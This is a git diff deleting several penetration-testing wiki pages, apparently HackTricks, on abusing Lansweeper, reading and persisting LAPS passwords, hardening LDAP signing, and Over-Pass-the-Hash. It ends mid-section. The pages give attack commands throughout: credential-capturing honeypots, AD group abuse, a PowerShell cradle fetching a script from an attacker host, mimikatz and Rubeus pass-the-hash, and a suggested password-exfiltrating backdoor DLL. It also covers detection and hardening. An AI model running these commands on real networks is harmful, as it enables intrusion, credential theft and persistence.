-Lansweeper is an IT asset discovery and inventory platform commonly deployed on Windows and integrated with Active Directory. Credentials configured in Lansweeper are used by its scanning engines to authenticate to assets over protocols like SSH, SMB/WMI and WinRM. Misconfigurations frequently allow:
-
-- Credential interception by redirecting a scanning target to an attacker-controlled host (honeypot)
-- Abuse of AD ACLs exposed by Lansweeper-related groups to gain remote access
-- On-host decryption of Lansweeper-configured secrets (connection strings and stored scanning credentials)
-- Code execution on managed endpoints via the Deployment feature (often running as SYSTEM)
-
-This page summarizes practical attacker workflows and commands to abuse these behaviors during engagements.
-
-## 1) Harvest scanning credentials via honeypot (SSH example)
-
-Idea: create a Scanning Target that points to your host and map existing Scanning Credentials to it. When the scan runs, Lansweeper will attempt to authenticate with those credentials, and your honeypot will capture them.
-
-Steps overview (web UI):
-- Scanning → Scanning Targets → Add Scanning Target
-  - Type: IP Range (or Single IP) = your VPN IP
-  - Configure SSH port to something reachable (e.g., 2022 if 22 is blocked)
-  - Disable schedule and plan to trigger manually
-- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed)
-- Click “Scan now” on the target
-- Run an SSH honeypot and retrieve the attempted username/password
-
-Example with sshesame:
-
-```yaml
-# sshesame.conf
-server:
-  listen_address: 10.10.14.79:2022
-```
-
-```bash
-# Install and run
-sudo apt install -y sshesame
-sshesame --config sshesame.conf
-# Expect client banner similar to RebexSSH and cleartext creds
-# authentication for user "svc_inventory_lnx" with password "<password>" accepted
-# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
-```
-
-Validate captured creds against DC services:
-
-```bash
-# SMB/LDAP/WinRM checks (NetExec)
-netexec smb   inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
-netexec ldap  inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
-netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
-```
-
-Notes
-- Works similarly for other protocols when you can coerce the scanner to your listener (SMB/WinRM honeypots, etc.). SSH is often the simplest.
-- Many scanners identify themselves with distinct client banners (e.g., RebexSSH) and will attempt benign commands (uname, whoami, etc.).
-
-## 2) AD ACL abuse: gain remote access by adding yourself to an app-admin group
-
-Use BloodHound to enumerate effective rights from the compromised account. A common finding is a scanner- or app-specific group (e.g., “Lansweeper Discovery”) holding GenericAll over a privileged group (e.g., “Lansweeper Admins”). If the privileged group is also member of “Remote Management Users”, WinRM becomes available once we add ourselves.
-
-Collection examples:
-
-```bash
-# NetExec collection with LDAP
-netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
-
-# RustHound-CE collection (zip for BH CE import)
-rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
-```
-
-Exploit GenericAll on group with BloodyAD (Linux):
-
-```bash
-# Add our user into the target group
-bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
-  add groupMember "Lansweeper Admins" svc_inventory_lnx
-
-# Confirm WinRM access if the group grants it
-netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
-```
-
-Then get an interactive shell:
-
-```bash
-evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
-```
-
-Tip: Kerberos operations are time-sensitive. If you hit KRB_AP_ERR_SKEW, sync to the DC first:
-
-```bash
-sudo ntpdate <dc-fqdn-or-ip>   # or rdate -n <dc-ip>
-```
-
-## 3) Decrypt Lansweeper-configured secrets on the host
-
-On the Lansweeper server, the ASP.NET site typically stores an encrypted connection string and a symmetric key used by the application. With appropriate local access, you can decrypt the DB connection string and then extract stored scanning credentials.
-
-Typical locations:
-- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
-  - `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
-- Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
-
-Use SharpLansweeperDecrypt to automate decryption and dumping of stored creds:
-
-```powershell
-# From a WinRM session or interactive shell on the Lansweeper host
-# PowerShell variant
-Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1   # depending on your shell
-powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
-# Tool will:
-#  - Decrypt connectionStrings from web.config
-#  - Connect to Lansweeper DB
-#  - Decrypt stored scanning credentials and print them in cleartext
-```
-
-Expected output includes DB connection details and plaintext scanning credentials such as Windows and Linux accounts used across the estate. These often have elevated local rights on domain hosts:
-
-```text
-Inventory Windows  SWEEP\svc_inventory_win  <StrongPassword!>
-Inventory Linux    svc_inventory_lnx        <StrongPassword!>
-```
-
-Use recovered Windows scanning creds for privileged access:
-
-```bash
-netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
-# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
-```
-
-## 4) Lansweeper Deployment → SYSTEM RCE
-
-As a member of “Lansweeper Admins”, the web UI exposes Deployment and Configuration. Under Deployment → Deployment packages, you can create packages that run arbitrary commands on targeted assets. Execution is performed by the Lansweeper service with high privilege, yielding code execution as NT AUTHORITY\SYSTEM on the selected host.
-
-High-level steps:
-- Create a new Deployment package that runs a PowerShell or cmd one-liner (reverse shell, add-user, etc.).
-- Target the desired asset (e.g., the DC/host where Lansweeper runs) and click Deploy/Run now.
-- Catch your shell as SYSTEM.
-
-Example payloads (PowerShell):
-
-```powershell
-# Simple test
-powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
-
-# Reverse shell example (adapt to your listener)
-powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
-```
-
-OPSEC
-- Deployment actions are noisy and leave logs in Lansweeper and Windows event logs. Use judiciously.
-
-## Detection and hardening
-
-- Restrict or remove anonymous SMB enumerations. Monitor for RID cycling and anomalous access to Lansweeper shares.
-- Egress controls: block or tightly restrict outbound SSH/SMB/WinRM from scanner hosts. Alert on non-standard ports (e.g., 2022) and unusual client banners like Rebex.
-- Protect `Website\\web.config` and `Key\\Encryption.txt`. Externalize secrets into a vault and rotate on exposure. Consider service accounts with minimal privileges and gMSA where viable.
-- AD monitoring: alert on changes to Lansweeper-related groups (e.g., “Lansweeper Admins”, “Remote Management Users”) and on ACL changes granting GenericAll/Write membership on privileged groups.
-- Audit Deployment package creations/changes/executions; alert on packages spawning cmd.exe/powershell.exe or unexpected outbound connections.
-
-## Related topics
-- SMB/LSA/SAMR enumeration and RID cycling
-- Kerberos password spraying and clock skew considerations
-- BloodHound path analysis of application-admin groups
-- WinRM usage and lateral movement
-
-## References
-- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
-- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
-- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)
-- [BloodyAD](https://github.com/CravateRouge/bloodyAD)
-- [BloodHound CE](https://github.com/SpecterOps/BloodHound)
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/windows-hardening/active-directory-methodology/laps.md b/src/windows-hardening/active-directory-methodology/laps.md
deleted file mode 100644
index 223484d1bfe..00000000000
--- a/src/windows-hardening/active-directory-methodology/laps.md
+++ /dev/null
@@ -1,316 +0,0 @@
-# LAPS
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## Basic Information
-
-There are currently **2 LAPS flavours** you can encounter during an assessment:
-
-- **Legacy Microsoft LAPS**: stores the local administrator password in **`ms-Mcs-AdmPwd`** and the expiration time in **`ms-Mcs-AdmPwdExpirationTime`**.
-- **Windows LAPS** (built into Windows since the April 2023 updates): can still emulate legacy mode, but in native mode it uses **`msLAPS-*`** attributes, supports **password encryption**, **password history**, and **DSRM password backup** for domain controllers.
-
-LAPS is designed to manage **local administrator passwords**, making them **unique, randomized, and frequently changed** on domain-joined computers. If you can read those attributes, you can usually **pivot as the local admin** to the affected host. In many environments, the interesting part is not only reading the password itself, but also finding **who was delegated access** to the password attributes.
-
-### Legacy Microsoft LAPS attributes
-
-In the domain's computer objects, the implementation of legacy Microsoft LAPS results in the addition of two attributes:
-
-- **`ms-Mcs-AdmPwd`**: **plain-text administrator password**
-- **`ms-Mcs-AdmPwdExpirationTime`**: **password expiration time**
-
-### Windows LAPS attributes
-
-Native Windows LAPS adds several new attributes to computer objects:
-
-- **`msLAPS-Password`**: clear-text password blob stored as JSON when encryption is not enabled
-- **`msLAPS-PasswordExpirationTime`**: scheduled expiration time
-- **`msLAPS-EncryptedPassword`**: encrypted current password
-- **`msLAPS-EncryptedPasswordHistory`**: encrypted password history
-- **`msLAPS-EncryptedDSRMPassword`** / **`msLAPS-EncryptedDSRMPasswordHistory`**: encrypted DSRM password data for domain controllers
-- **`msLAPS-CurrentPasswordVersion`**: GUID-based version tracking used by newer rollback-detection logic (Windows Server 2025 forest schema)
-
-When **`msLAPS-Password`** is readable, the value is a JSON object containing the account name, update time and clear-text password, for example:
-
-```json
-{"n":"Administrator","t":"1d8161b41c41cde","p":"A6a3#7%..."}
-```
-
-### Check if activated
-
-```bash
-# Legacy Microsoft LAPS policy
-reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
-
-dir "C:\Program Files\LAPS\CSE"
-# Check if that folder exists and contains AdmPwd.dll
-
-# Native Windows LAPS binaries / PowerShell module
-Get-Command *Laps*
-dir "$env:windir\System32\LAPS"
-
-# Find GPOs that have "LAPS" or some other descriptive term in the name
-Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
-
-# Legacy Microsoft LAPS-enabled computers (any Domain User can usually read the expiration attribute)
-Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" |
-  ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } |
-  select DnsHostname
-
-# Native Windows LAPS-enabled computers
-Get-DomainObject -LDAPFilter '(|(msLAPS-PasswordExpirationTime=*)(msLAPS-EncryptedPassword=*)(msLAPS-Password=*))' |
-  select DnsHostname
-```
-
-## LAPS Password Access
-
-You could **download the raw LAPS policy** from `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` and then use **`Parse-PolFile`** from the [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) package to convert this file into human-readable format.
-
-### Legacy Microsoft LAPS PowerShell cmdlets
-
-If the legacy LAPS module is installed, the following cmdlets are usually available:
-
-```bash
-Get-Command *AdmPwd*
-
-CommandType     Name                                               Version    Source
------------     ----                                               -------    ------
-Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
-Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
-Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
-Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
-Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
-Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
-Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
-Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS
-
-# List who can read the LAPS password of the given OU
-Find-AdmPwdExtendedRights -Identity Workstations | fl
-
-# Read the password
-Get-AdmPwdPassword -ComputerName wkstn-2 | fl
-```
-
-### Windows LAPS PowerShell cmdlets
-
-Native Windows LAPS ships with a new PowerShell module and new cmdlets:
-
-```bash
-Get-Command *Laps*
-
-# Discover who has extended rights over the OU
-Find-LapsADExtendedRights -Identity Workstations
-
-# Read a password from AD
-Get-LapsADPassword -Identity wkstn-2 -AsPlainText
-
-# Include password history if encryption/history is enabled
-Get-LapsADPassword -Identity wkstn-2 -AsPlainText -IncludeHistory
-
-# Query DSRM password from a DC object
-Get-LapsADPassword -Identity dc01.contoso.local -AsPlainText
-
-# Use alternate credentials for an authorized decryptor
-$cred = Get-Credential CONTOSO\LAPSDecryptor
-Get-LapsADPassword -Identity wkstn-2 -AsPlainText -DecryptionCredential $cred
-```
-
-A few operational details matter here:
-
-- **`Get-LapsADPassword`** automatically handles **legacy LAPS**, **clear-text Windows LAPS**, and **encrypted Windows LAPS**.
-- If the password is encrypted and you can **read** but not **decrypt** it, the cmdlet returns metadata such as **`Source`**, **`DecryptionStatus`**, and **`AuthorizedDecryptor`** even when it can't return the clear-text password.
-- In **encrypted Windows LAPS**, **read permission** and **decrypt permission** are **different controls**. Having OU / object read access doesn't automatically mean you can decrypt **`msLAPS-EncryptedPassword`**.
-- **Password history** is only available when **Windows LAPS encryption** is enabled.
-- On domain controllers, the returned source can be **`EncryptedDSRMPassword`**.
-
-This is useful during an assessment because the **`AuthorizedDecryptor`** field tells you **which user or group the blob was encrypted for**, often turning a failed password read into a new privilege-escalation target.
-
-### PowerView / LDAP
-
-**PowerView** can also be used to find out **who can read the password and read it**:
-
-```bash
-# Legacy Microsoft LAPS: find principals with rights over the OU
-Find-AdmPwdExtendedRights -Identity Workstations | fl
-
-# Legacy Microsoft LAPS: read the password directly from LDAP
-Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
-
-# Native Windows LAPS clear-text mode
-Get-DomainObject -Identity wkstn-2 -Properties msLAPS-Password,msLAPS-PasswordExpirationTime
-```
-
-If **`msLAPS-Password`** is readable, parse the returned JSON and extract **`p`** for the password and **`n`** for the managed local admin account name.
-
-```bash
-# Extract both the password and the real managed account name
-$laps = (Get-DomainObject -Identity wkstn-2 -Properties msLAPS-Password)."msLAPS-Password" | ConvertFrom-Json
-$laps.n
-$laps.p
-```
-
-That **`n`** field matters on newer deployments because **Windows LAPS automatic account management** can target a **custom account** instead of the built-in **`Administrator`**, and newer **Windows 11 24H2 / Windows Server 2025** systems can even **randomize** that account name.
-
-### Linux / remote tooling
-
-Modern tooling supports both legacy Microsoft LAPS and Windows LAPS.
-
-```bash
-# NetExec / CrackMapExec lineage: dump LAPS values over LDAP
-nxc ldap 10.10.10.10 -u user -p password -M laps
-
-# Filter to a subset of computers
-nxc ldap 10.10.10.10 -u user -p password -M laps -o COMPUTER='WKSTN-*'
-
-# Use read LAPS access to authenticate to hosts at scale
-nxc smb 10.10.10.0/24 -u user-can-read-laps -p 'Passw0rd!' --laps
-
-# If the local admin name is not Administrator
-nxc smb 10.10.10.0/24 -u user-can-read-laps -p 'Passw0rd!' --laps customadmin
-
-# Legacy Microsoft LAPS with bloodyAD
-bloodyAD --host 10.10.10.10 -d contoso.local -u user -p 'Passw0rd!' \
-  get search --filter '(ms-mcs-admpwdexpirationtime=*)' \
-  --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
-```
-
-Notes:
-
-- Recent **NetExec** builds support **`ms-Mcs-AdmPwd`**, **`msLAPS-Password`**, and **`msLAPS-EncryptedPassword`**.
-- **`pyLAPS`** is still useful for **legacy Microsoft LAPS** from Linux, but it only targets **`ms-Mcs-AdmPwd`**.
-- Newer cross-platform tooling such as **`LAPS4LINUX`**, **`dpapi-ng`**-based tooling, and recent **NetExec** workflows can also handle **native Windows LAPS** from non-Windows hosts.
-- If the environment uses **encrypted Windows LAPS**, a simple LDAP read is not enough; you also need to be an **authorized decryptor** (or equivalent decryption material, such as offline domain DPAPI-NG root key material).
-- On **Windows 11 24H2 / Windows Server 2025**, don't assume the managed local admin is always **`Administrator`**. Automatic account management can create a custom account and optionally randomize its name, so discover the account name first via **`n`** / **`Account`** before using **`--laps`** at scale.
-
-### Directory synchronization abuse
-
-If you have domain-level **directory synchronization** rights instead of direct read access on each computer object, LAPS can still be interesting.
-
-The combination of **`DS-Replication-Get-Changes`** with **`DS-Replication-Get-Changes-In-Filtered-Set`** or **`DS-Replication-Get-Changes-All`** can be used to synchronize **confidential / RODC-filtered** attributes such as legacy **`ms-Mcs-AdmPwd`**. BloodHound models this as **`SyncLAPSPassword`**. Check [DCSync](dcsync.md) for the replication-rights background.
-
-## LAPSToolkit
-
-The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilitates the enumeration of LAPS with several functions.\
-One is parsing **`ExtendedRights`** for **all computers with LAPS enabled.** This shows **groups** specifically **delegated to read LAPS passwords**, which are often users in protected groups.\
-An **account** that has **joined a computer** to a domain receives `All Extended Rights` over that host, and this right gives the **account** the ability to **read passwords**. Enumeration may show a user account that can read the LAPS password on a host. This can help us **target specific AD users** who can read LAPS passwords.
-
-```bash
-# Get groups that can read passwords
-Find-LAPSDelegatedGroups
-
-OrgUnit                                           Delegated Groups
--------                                           ----------------
-OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins
-OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin
-
-# Checks the rights on each computer with LAPS enabled for any groups
-# with read access and users with "All Extended Rights"
-Find-AdmPwdExtendedRights
-ComputerName                Identity                    Reason
-------------                --------                    ------
-MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated
-MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated
-
-# Get computers with LAPS enabled, expiration time and the password (if you have access)
-Get-LAPSComputers
-ComputerName                Password       Expiration
-------------                --------       ----------
-DC01.DOMAIN_NAME.LOCAL      j&gR+A(s976Rf% 12/10/2022 13:24:41
-```
-
-## Dumping LAPS Passwords With NetExec / CrackMapExec
-
-If you don't have an interactive PowerShell, you can abuse this privilege remotely over LDAP:
-
-```bash
-# Legacy syntax still widely seen in writeups
-crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
-
-# Current project name / syntax
-nxc ldap 10.10.10.10 -u user -p password -M laps
-```
-
-This dumps all the LAPS secrets that the user can read, allowing you to move laterally with a different local administrator password.
-
-## Using LAPS Password
-
-```bash
-xfreerdp /v:192.168.1.1:3389 /u:Administrator
-Password: 2Z@Ae)7!{9#Cq
-
-python psexec.py Administrator@web.example.com
-Password: 2Z@Ae)7!{9#Cq
-```
-
-## LAPS Persistence
-
-### Expiration Date
-
-Once admin, it's possible to **obtain the passwords** and **prevent** a machine from **updating** its **password** by **setting the expiration date into the future**.
-
-Legacy Microsoft LAPS:
-
-```bash
-# Get expiration time
-Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
-
-# Change expiration time
-## SYSTEM on the computer is needed
-Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
-```
-
-Native Windows LAPS uses **`msLAPS-PasswordExpirationTime`** instead:
-
-```bash
-# Read the current expiration timestamp
-Get-DomainObject -Identity wkstn-2 -Properties msLAPS-PasswordExpirationTime
-
-# Push the expiration into the future
-Set-DomainObject -Identity wkstn-2 -Set @{"msLAPS-PasswordExpirationTime"="133801632000000000"}
-```
-
-> [!WARNING]
-> The password will still rotate if an **admin** uses **`Reset-AdmPwdPassword`** / **`Reset-LapsPassword`**, or if **Do not allow password expiration time longer than required by policy** is enabled.
-
-### Snapshot rollback caveat on newer Windows LAPS
-
-Older snapshot / image rollback tricks are **less reliable** against recent **Windows LAPS** deployments. On **Windows 11 24H2 / Windows Server 2025**, if the forest schema includes **`msLAPS-CurrentPasswordVersion`** (**Windows Server 2025 forest schema**), the client compares a locally cached GUID with the value stored in AD and **immediately rotates the password** when a rollback creates a **torn state**.
-
-In practice, this means snapshot-based persistence or attempts to resurrect an older known local admin password can burn quickly instead of surviving until the next normal expiration.
-
-This protection only applies to **AD-backed Windows LAPS** and still depends on the reverted machine being able to **authenticate back to AD**. If the machine can't talk to AD anymore, **password history** or **AD backup access** may still save the day.
-
-### Automatic account management tamper caveat
-
-When **automatic account management** is enabled, Windows LAPS owns the lifecycle of the managed local admin account. Unexpected attempts to rename, reconfigure, or otherwise tamper with that account can be rejected with **`STATUS_POLICY_CONTROLLED_ACCOUNT`** / **`ERROR_POLICY_CONTROLLED_ACCOUNT`**, so persistence that depends on silently modifying the managed LAPS account is less reliable on newer endpoints.
-
-### Recovering historical passwords from AD backups
-
-When **Windows LAPS encryption + password history** is enabled, mounted AD backups can become an additional source of secrets. If you can access a mounted AD snapshot and use **recovery mode**, you can query older stored passwords without talking to a live DC.
-
-```bash
-# Query a mounted AD snapshot on port 50000
-Get-LapsADPassword -Identity wkstn-2 -AsPlainText -Port 50000 -RecoveryMode
-
-# Historical entries if history is enabled
-Get-LapsADPassword -Identity wkstn-2 -AsPlainText -IncludeHistory -Port 50000 -RecoveryMode
-```
-
-This is mostly relevant during **AD backup theft**, **offline forensics abuse**, or **disaster-recovery media access**.
-
-### Backdoor
-
-The original source code for legacy Microsoft LAPS can be found [here](https://github.com/GreyCorbel/admpwd), therefore it's possible to put a backdoor in the code (inside the `Get-AdmPwdPassword` method in `Main/AdmPwd.PS/Main.cs` for example) that will somehow **exfiltrate new passwords or store them somewhere**.
-
-Then, compile the new `AdmPwd.PS.dll` and upload it to the machine in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (and change the modification time).
-
-## References
-
-- [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
-- [https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-technical-reference](https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-technical-reference)
-- [https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-scenarios-windows-server-active-directory](https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-scenarios-windows-server-active-directory)
-- [https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-concepts-account-management-modes](https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-concepts-account-management-modes)
-- [https://blog.xpnsec.com/lapsv2-internals/](https://blog.xpnsec.com/lapsv2-internals/)
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/ldap-signing-and-channel-binding.md b/src/windows-hardening/active-directory-methodology/ldap-signing-and-channel-binding.md
deleted file mode 100644
index 1b76791da25..00000000000
--- a/src/windows-hardening/active-directory-methodology/ldap-signing-and-channel-binding.md
+++ /dev/null
@@ -1,63 +0,0 @@
-# LDAP Signing & Channel Binding Hardening
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Why it matters
-
-LDAP relay/MITM lets attackers forward binds to Domain Controllers to obtain authenticated contexts. Two server-side controls blunt these paths:
-
-- **LDAP Channel Binding (CBT)** ties an LDAPS bind to the specific TLS tunnel, breaking relays/replays across different channels.
-- **LDAP Signing** forces integrity-protected LDAP messages, preventing tampering and most unsigned relays.
-
-**Quick offensive check**: tools like `netexec ldap <dc> -u user -p pass` print the server posture. If you see `(signing:None)` and `(channel binding:Never)`, Kerberos/NTLM **relays to LDAP** are viable (e.g., using KrbRelayUp to write `msDS-AllowedToActOnBehalfOfOtherIdentity` for RBCD and impersonate administrators).
-
-**Server 2025 DCs** introduce a new GPO (**LDAP server signing requirements Enforcement**) that defaults to **Require Signing** when left **Not Configured**. To avoid enforcement you must explicitly set that policy to **Disabled**.
-
-## LDAP Channel Binding (LDAPS only)
-
-- **Requirements**:
-  - CVE-2017-8563 patch (2017) adds Extended Protection for Authentication support.
-  - **KB4520412** (Server 2019/2022) adds LDAPS CBT “what-if” telemetry.
-- **GPO (DCs)**: `Domain controller: LDAP server channel binding token requirements`
-  - `Never` (default, no CBT)
-  - `When Supported` (audit: emits failures, does not block)
-  - `Always` (enforce: rejects LDAPS binds without valid CBT)
-- **Audit**: set **When Supported** to surface:
-  - **3074** – LDAPS bind would have failed CBT validation if enforced.
-  - **3075** – LDAPS bind omitted CBT data and would be rejected if enforced.
-  - (Event **3039** still signals CBT failures on older builds.)
-- **Enforcement**: set **Always** once LDAPS clients send CBTs; only effective on **LDAPS** (not raw 389).
-
-## LDAP Signing
-
-- **Client GPO**: `Network security: LDAP client signing requirements` = `Require signing` (vs `Negotiate signing` default on modern Windows).
-- **DC GPO**:
-  - Legacy: `Domain controller: LDAP server signing requirements` = `Require signing` (default is `None`).
-  - **Server 2025**: leave legacy policy at `None` and set `LDAP server signing requirements Enforcement` = `Enabled` (Not Configured = enforced by default; set `Disabled` to avoid it).
-- **Compatibility**: only Windows **XP SP3+** supports LDAP signing; older systems will break when enforcement is enabled.
-
-## Audit-first rollout (recommended ~30 days)
-
-1. Enable LDAP interface diagnostics on each DC to log unsigned binds (Event **2889**):
-
-```bash
-Reg Add HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics /v "16 LDAP Interface Events" /t REG_DWORD /d 2
-```
-
-2. Set DC GPO `LDAP server channel binding token requirements` = **When Supported** to start CBT telemetry.
-3. Monitor Directory Service events:
-   - **2889** – unsigned/unsigned-allow binds (signing noncompliant).
-   - **3074/3075** – LDAPS binds that would fail or omit CBT (requires KB4520412 on 2019/2022 and step 2 above).
-4. Enforce in separate changes:
-   - `LDAP server channel binding token requirements` = **Always** (DCs).
-   - `LDAP client signing requirements` = **Require signing** (clients).
-   - `LDAP server signing requirements` = **Require signing** (DCs) **or** (Server 2025) `LDAP server signing requirements Enforcement` = **Enabled**.
-
-## References
-
-- [TrustedSec - LDAP Channel Binding and LDAP Signing](https://trustedsec.com/blog/ldap-channel-binding-and-ldap-signing)
-- [Microsoft KB4520412 - LDAP channel binding & signing requirements](https://support.microsoft.com/en-us/topic/2020-and-2023-ldap-channel-binding-and-ldap-signing-requirements-for-windows-kb4520412-ef185fb8-00f7-167d-744c-f299a66fc00a)
-- [Microsoft CVE-2017-8563 - LDAP relay mitigation update](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8563)
-- [0xdf – HTB Bruno (LDAP signing disabled → Kerberos relay → RBCD)](https://0xdf.gitlab.io/2026/02/24/htb-bruno.html)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
deleted file mode 100644
index cfb8f14cbd6..00000000000
--- a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
+++ /dev/null
@@ -1,113 +0,0 @@
-# Over Pass the Hash/Pass the Key
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## Overpass The Hash/Pass The Key (PTK)
-
-The **Overpass The Hash/Pass The Key (PTK)** attack is designed for environments where the traditional NTLM protocol is restricted, and Kerberos authentication takes precedence. This attack leverages the NTLM hash or AES keys of a user to solicit Kerberos tickets, enabling unauthorized access to resources within a network.
-
-Strictly speaking:
-
-- **Over-Pass-the-Hash** usually means turning the **NT hash** into a Kerberos TGT via the **RC4-HMAC** Kerberos key.
-- **Pass-the-Key** is the more generic version where you already have a Kerberos key such as **AES128/AES256** and request a TGT directly with it.
-
-This difference matters in hardened environments: if **RC4 is disabled** or no longer assumed by the KDC, the **NT hash alone is not enough** and you need an **AES key** (or the cleartext password to derive it).
-
-To execute this attack, the initial step involves acquiring the NTLM hash or password of the targeted user's account. Upon securing this information, a Ticket Granting Ticket (TGT) for the account can be obtained, allowing the attacker to access services or machines to which the user has permissions.
-
-The process can be initiated with the following commands:
-
-```bash
-python getTGT.py -dc-ip 10.10.10.10 jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
-export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
-python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
-```
-
-For scenarios necessitating AES256, the `-aesKey [AES key]` option can be utilized:
-
-```bash
-python getTGT.py -dc-ip 10.10.10.10 jurassic.park/velociraptor -aesKey <AES256_HEX>
-export KRB5CCNAME=velociraptor.ccache
-python wmiexec.py -k -no-pass jurassic.park/velociraptor@labwws02.jurassic.park
-```
-
-`getTGT.py` also supports requesting a **service ticket directly through an AS-REQ** with `-service <SPN>`, which can be useful when you want a ticket for a specific SPN without an extra TGS-REQ:
-
-```bash
-python getTGT.py -dc-ip 10.10.10.10 -aesKey <AES256_HEX> -service cifs/labwws02.jurassic.park jurassic.park/velociraptor
-```
-
-Moreover, the acquired ticket might be employed with various tools, including `smbexec.py` or `wmiexec.py`, broadening the scope of the attack.
-
-Encountered issues such as _PyAsn1Error_ or _KDC cannot find the name_ are typically resolved by updating the Impacket library or using the hostname instead of the IP address, ensuring compatibility with the Kerberos KDC.
-
-An alternative command sequence using Rubeus.exe demonstrates another facet of this technique:
-
-```bash
-.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
-.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
-```
-
-This method mirrors the **Pass the Key** approach, with a focus on commandeering and utilizing the ticket directly for authentication purposes. In practice:
-
-- `Rubeus asktgt` sends the **raw Kerberos AS-REQ/AS-REP** itself and does **not** need admin rights unless you want to target another logon session with `/luid` or create a separate one with `/createnetonly`.
-- `mimikatz sekurlsa::pth` patches credential material into a logon session and therefore **touches LSASS**, which usually requires local admin or `SYSTEM` and is noisier from an EDR perspective.
-
-Examples with Mimikatz:
-
-```bash
-sekurlsa::pth /user:velociraptor /domain:jurassic.park /ntlm:2a3de7fe356ee524cc9f3d579f2e0aa7 /run:cmd.exe
-sekurlsa::pth /user:velociraptor /domain:jurassic.park /aes256:<AES256_HEX> /run:cmd.exe
-```
-
-To conform to operational security and use AES256, the following command can be applied:
-
-```bash
